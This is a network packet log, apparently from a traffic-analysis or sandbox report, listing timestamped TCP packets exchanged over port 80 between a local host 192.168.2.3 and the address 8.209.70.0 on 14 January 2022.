Jan 14, 2022 20:24:02.474251032 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474287033 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474291086 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474328995 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474366903 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474376917 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474406958 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474420071 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474445105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474483013 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474522114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474524975 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474560976 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474600077 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474601030 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474637985 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474664927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.491914034 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.491950035 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.491980076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.492007017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.492027998 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.492093086 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513313055 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513365984 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513411045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513451099 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513449907 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513494015 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513506889 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513535023 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513575077 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513585091 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513614893 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513631105 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513653040 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513693094 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513732910 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513742924 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513773918 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513780117 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513813972 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513891935 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513932943 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.513956070 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.513972998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514003038 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514012098 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514067888 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514067888 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514110088 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514149904 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514184952 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514203072 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514225006 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514245033 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514264107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514300108 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514338017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514353991 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514375925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514390945 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514415026 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514455080 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514491081 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514503956 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514528990 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514545918 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514568090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514604092 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514642000 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514652967 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514678955 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514689922 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514719009 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514758110 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514769077 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514795065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514833927 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514872074 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514882088 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514908075 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514918089 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.514946938 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.514983892 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.515022039 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.515033007 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.515069962 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.532318115 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553303957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553415060 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553481102 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553628922 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.553657055 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.553658009 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553694963 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553730965 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553766966 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.553770065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553805113 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553838968 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553886890 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.553901911 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553937912 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553977013 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.553985119 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554011106 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554022074 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554075003 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554156065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554169893 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554192066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554225922 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554259062 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554295063 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554295063 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554312944 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554332018 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554367065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554378986 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554400921 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554419994 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554435015 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554467916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554492950 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554527998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554531097 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554560900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554564953 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554594994 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554620028 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554629087 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554661036 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554693937 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554712057 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554728031 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554757118 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554763079 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554795980 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554828882 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554848909 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554863930 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554894924 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554898024 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554929018 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554950953 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.554964066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.554999113 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555015087 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.555035114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555069923 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555104017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555125952 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.555138111 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555171013 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.555171967 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555207014 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555222034 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.555241108 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555274010 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.555315018 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.572644949 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572690964 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572731972 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572772026 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572809935 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572840929 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572873116 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.572880983 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572896004 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.572899103 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.572921991 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572962046 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.572992086 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.572999001 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573029041 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573038101 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573076963 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573110104 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573116064 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573157072 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573169947 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573195934 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573237896 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573277950 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573302031 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573314905 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573333025 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573354959 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573395967 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573436975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573451042 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573476076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573487043 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573513031 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573553085 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573591948 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573605061 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573630095 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573641062 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573668957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573708057 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573746920 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573762894 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573787928 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573801041 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573826075 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573896885 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573936939 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573951006 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.573976994 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.573990107 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.574014902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.574054003 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.574093103 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.574132919 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.574132919 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.574147940 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.574163914 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.574541092 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592535019 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592575073 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592606068 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592633963 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592648983 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592664003 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592689991 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592693090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592719078 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592777967 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592803001 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592830896 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592854977 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592856884 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592885017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592909098 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592912912 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592938900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.592958927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.592967033 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593002081 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593029022 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593051910 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593058109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593086958 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593091965 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593111992 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593127012 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593141079 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593168020 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593192101 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593195915 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593225002 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593247890 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593251944 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593282938 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593310118 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593331099 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593336105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593364000 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593374014 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593390942 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593416929 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593425989 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593455076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593481064 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593498945 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593508005 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593528032 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593537092 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593563080 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593589067 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593590975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593617916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593646049 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593662977 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593673944 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593698025 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593700886 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593729019 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593750000 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593758106 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593784094 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593805075 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593811989 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593839884 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593888044 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.593909025 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593935013 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593964100 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.593964100 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.594016075 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610117912 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610146999 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610219002 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610275030 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610301018 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610323906 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610347033 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610369921 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610373974 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610393047 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610409021 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610415936 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610440016 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610449076 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610465050 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610488892 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610497952 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610513926 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610541105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610546112 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610564947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610584974 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610589027 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610611916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610635042 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610657930 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610658884 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610682964 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610693932 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610707045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610729933 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610730886 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610753059 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610771894 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610778093 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610800982 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610824108 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610826015 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610847950 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610867023 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610872984 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610896111 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610918045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610939980 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610940933 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610964060 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.610974073 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.610986948 CET	80	49889	8.209.70.0	192.168.2.3
